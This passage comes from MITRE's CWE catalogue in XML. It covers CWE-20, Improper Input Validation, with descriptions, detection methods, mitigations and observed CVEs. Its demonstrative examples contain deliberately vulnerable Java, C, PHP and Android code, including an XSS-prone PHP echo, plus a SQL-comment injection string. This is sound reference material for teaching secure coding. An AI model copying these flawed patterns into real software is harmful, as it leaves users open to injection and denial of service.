               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Research_Gaps, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction, Type</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Numeric Byte Ordering Error</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="20" Name="Improper Input Validation" Abstraction="Class" Structure="Simple" Status="Stable">
        <Description>The product receives input or data, but it does
        not validate or incorrectly validates that the input has the
        properties that are required to process the data safely and
        correctly.</Description>
         <Extended_Description>
	   <xhtml:p>Input validation is a frequently-used technique
	   for checking potentially dangerous inputs in order to
	   ensure that the inputs are safe for processing within the
	   code, or when communicating with other components.  When
	   software does not validate input properly, an attacker is
	   able to craft the input in a form that is not expected by
	   the rest of the application. This will lead to parts of the
	   system receiving unintended input, which may result in
	   altered control flow, arbitrary control of a resource, or
	   arbitrary code execution.</xhtml:p>
	   <xhtml:p>Input validation is not the only technique for
	   processing input, however.  Other techniques attempt to
	   transform potentially-dangerous input into something safe, such
	   as filtering (CWE-790) - which attempts to remove dangerous
	   inputs - or encoding/escaping (CWE-116), which attempts to
	   ensure that the input is not misinterpreted when it is included
	   in output to another component. Other techniques exist as well
	   (see CWE-138 for more examples.)</xhtml:p>
	   <xhtml:p>Input validation can be applied to:</xhtml:p>
	   <xhtml:ul>
	     <xhtml:li>raw data - strings, numbers, parameters, file contents, etc.</xhtml:li>
	     <xhtml:li>metadata - information about the raw data, such as headers or size</xhtml:li>
	   </xhtml:ul>
	   <xhtml:p>Data can be simple or structured.  Structured data
	   can be composed of many nested layers, composed of
	   combinations of metadata and raw data, with other simple or
	   structured data.</xhtml:p>
	   <xhtml:p>Many properties of raw data or metadata may need
	   to be validated upon entry into the code, such
	   as:</xhtml:p>
	   <xhtml:ul>
	     <xhtml:li>specified quantities such as size, length, frequency, price, rate, number of operations, time, etc.</xhtml:li>
	     <xhtml:li>implied or derived quantities, such as the actual size of a file instead of a specified size</xhtml:li>
	     <xhtml:li>indexes, offsets, or positions into more complex data structures</xhtml:li>
	     <xhtml:li>symbolic keys or other elements into hash tables, associative arrays, etc.</xhtml:li>
	     <xhtml:li>well-formedness, i.e. syntactic correctness - compliance with expected syntax </xhtml:li>
	     <xhtml:li>lexical token correctness - compliance with rules for what is treated as a token</xhtml:li>
	     <xhtml:li>specified or derived type - the actual type of the input (or what the input appears to be)</xhtml:li>
	     <xhtml:li>consistency - between individual data elements, between raw data and metadata, between references, etc.</xhtml:li>
	     <xhtml:li>conformance to domain-specific rules, e.g. business logic </xhtml:li>
	     <xhtml:li>equivalence - ensuring that equivalent inputs are treated the same</xhtml:li>
	     <xhtml:li>authenticity, ownership, or other attestations about the input, e.g. a cryptographic signature to prove the source of the data</xhtml:li>
	   </xhtml:ul>
	   <xhtml:p>Implied or derived properties of data must often
	   be calculated or inferred by the code itself.  Errors in
	   deriving properties may be considered a contributing factor
	   to improper input validation.
	   </xhtml:p>
	   <xhtml:p>Note that "input validation" has very different
	   meanings to different people, or within different
	   classification schemes.  Caution must be used when
	   referencing this CWE entry or mapping to it.  For example,
	   some weaknesses might involve inadvertently giving control
	   to an attacker over an input when they should not be able
	   to provide an input at all, but sometimes this is referred
	   to as input validation.</xhtml:p>
	   <xhtml:p>Finally, it is important to emphasize that the
	   distinctions between input validation and output escaping
	   are often blurred, and developers must be careful to
	   understand the difference, including how input validation
	   is not always sufficient to prevent vulnerabilities,
	   especially when less stringent data types must be
	   supported, such as free-form text. Consider a SQL injection
	   scenario in which a person's last name is inserted into a
	   query. The name "O'Reilly" would likely pass the validation
	   step since it is a common last name in the English
	   language. However, this valid name cannot be directly
	   inserted into the database because it contains the "'"
	   apostrophe character, which would need to be escaped or
	   otherwise transformed. In this case, removing the
	   apostrophe might reduce the risk of SQL injection, but it
	   would produce incorrect behavior because the wrong name
	   would be recorded.</xhtml:p>
       </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="707" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="345" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="22" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="41" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="74" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="770" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>
                  <xhtml:p>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</xhtml:p>
                  <xhtml:p>If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).</xhtml:p>
               </Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Impact>DoS: Resource Consumption (Memory)</Impact>
               <Note>An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Read Files or Directories</Impact>
               <Note>An attacker could read confidential data if they are able to control resource references.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method Detection_Method_ID="DM-3">
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>Some instances of improper input validation can be detected using automated static analysis.</xhtml:p>
                  <xhtml:p>A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.</xhtml:p>
                  <xhtml:p>Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.</xhtml:p>
               </Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-4">
               <Method>Manual Static Analysis</Method>
               <Description>When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.</Description>
            </Detection_Method>
            <Detection_Method Detection_Method_ID="DM-5">
               <Method>Fuzzing</Method>
               <Description>Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                           <xhtml:li>Web Services Scanner</xhtml:li>
                           <xhtml:li>Database Scanners</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Host Application Interface Scanner</xhtml:li>
                           <xhtml:li>Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language.  This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-7">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-6">
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
               </Description>
	       <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.</xhtml:p>
                  <xhtml:p>Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-35">
               <Phase>Implementation</Phase>
               <Description>Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.</xhtml:p>
                  <xhtml:p>Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-135">
               <Intro_Text>This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>...<xhtml:br/>public static final double price = 20.00;<xhtml:br/>int quantity = currentUser.getAttribute("quantity");<xhtml:br/>double total = price * quantity;<xhtml:br/>chargeUser(total);<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-136">
               <Intro_Text>This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>...<xhtml:br/>#define MAX_DIM 100<xhtml:br/>...<xhtml:br/>
                     <xhtml:i>/* board dimensions */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>int m,n, error;<xhtml:br/>board_square_t *board;<xhtml:br/>printf("Please specify the board height: \n");<xhtml:br/>error = scanf("%d", &amp;m);<xhtml:br/>if ( EOF == error ){<xhtml:div style="margin-left:1em;">die("No integer passed: Die evil hacker!\n");</xhtml:div>}<xhtml:br/>printf("Please specify the board width: \n");<xhtml:br/>error = scanf("%d", &amp;n);<xhtml:br/>if ( EOF == error ){<xhtml:div style="margin-left:1em;">die("No integer passed: Die evil hacker!\n");</xhtml:div>}<xhtml:br/>if ( m &gt; MAX_DIM || n &gt; MAX_DIM ) {<xhtml:div style="margin-left:1em;">die("Value too large: Die evil hacker!\n");</xhtml:div>}<xhtml:br/>board = (board_square_t*) malloc( m * n * sizeof(board_square_t));<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$birthday = $_GET['birthday'];<xhtml:br/>$homepage = $_GET['homepage'];<xhtml:br/>echo "Birthday: $birthday&lt;br&gt;Homepage: &lt;a href=$homepage&gt;click here&lt;/a&gt;"</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with &lt;script&gt; tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>2009-01-09--</xhtml:div>
               </Example_Code>
               <Body_Text>If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.</Body_Text>
               <Body_Text>Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-34">
               <Intro_Text>The following example takes a user-supplied value to allocate an array of objects and then operates on the array.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>private void buildList ( int untrustedListSize ){<xhtml:div style="margin-left:1em;">if ( 0 &gt; untrustedListSize ){<xhtml:div style="margin-left:1em;">die("Negative value supplied for list size, die evil hacker!");</xhtml:div>}<xhtml:br/>Widget[] list = new Widget [ untrustedListSize ];<xhtml:br/>list[0] = new Widget();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-110">
               <Intro_Text>This Android application has registered to handle a URL when sent an intent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>public class UrlHandlerReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if("com.example.URLHandler.openURL".equals(intent.getAction())) {<xhtml:div style="margin-left:1em;">String URL = intent.getStringExtra("URLToOpen");<xhtml:br/>int length = URL.length();</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>...</xhtml:i>
                                 <xhtml:br/>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-30860</Reference>
               <Description>Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-30860</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-30663</Reference>
               <Description>Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-30663</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-22205</Reference>
               <Description>Chain: backslash followed by a newline can bypass a validation step (CWE-20), leading to eval injection (CWE-95), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22205</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21220</Reference>
               <Description>Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21220</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-9054</Reference>
               <Description>Chain: improper input validation (CWE-20) in username parameter, leading to OS command injection (CWE-78), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-9054</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3452</Reference>
               <Description>Chain: security product has improper input validation (CWE-20) leading to directory traversal (CWE-22), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3452</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3161</Reference>
               <Description>Improper input validation of HTTP requests in IP phone, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3161</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-3580</Reference>
               <Description>Chain: improper input validation (CWE-20) in firewall product leads to XSS (CWE-79), as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-3580</Link>
            </Observed_Example>
            <Observed_Example>
            <Reference>CVE-2021-37147</Reference>
            <Description>Chain: caching proxy server has improper input validation (CWE-20) of headers, allowing HTTP response smuggling (CWE-444) using an "LF line ending"</Description>
            <Link>https://www.cve.org/CVERecord?id=CVE-2021-37147</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5305</Reference>
               <Description>Eval injection in Perl program using an ID that should only contain hyphens and numbers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5305</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2223</Reference>
               <Description>SQL injection through an ID that was supposed to be numeric.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2223</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3477</Reference>
               <Description>lack of input validation in spreadsheet program leads to buffer overflows, integer overflows, array index errors, and memory corruption.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3477</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3843</Reference>
               <Description>insufficient validation enables XSS</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3843</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3174</Reference>
               <Description>driver in security product allows code execution due to insufficient validation</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3409</Reference>
               <Description>infinite loop from DNS packet with a label that points to itself</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3409</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6870</Reference>
               <Description>infinite loop from DNS packet with a label that points to itself</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6870</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1303</Reference>
               <Description>missing parameter leads to crash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1303</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5893</Reference>
               <Description>HTTP request with missing protocol version number leads to crash</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5893</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6658</Reference>
               <Description>request with missing parameters leads to information exposure</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6658</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4114</Reference>
               <Description>system crash with offset value that is inconsistent with packet size</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4114</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-3790</Reference>
               <Description>size field that is inconsistent with packet size leads to buffer over-read</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-3790</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2309</Reference>
               <Description>product uses a denylist to identify potentially dangerous content, allowing attacker to bypass a warning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2309</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3494</Reference>
               <Description>security bypass via an extra header</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3494</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3571</Reference>
               <Description>empty packet triggers reboot</Description>
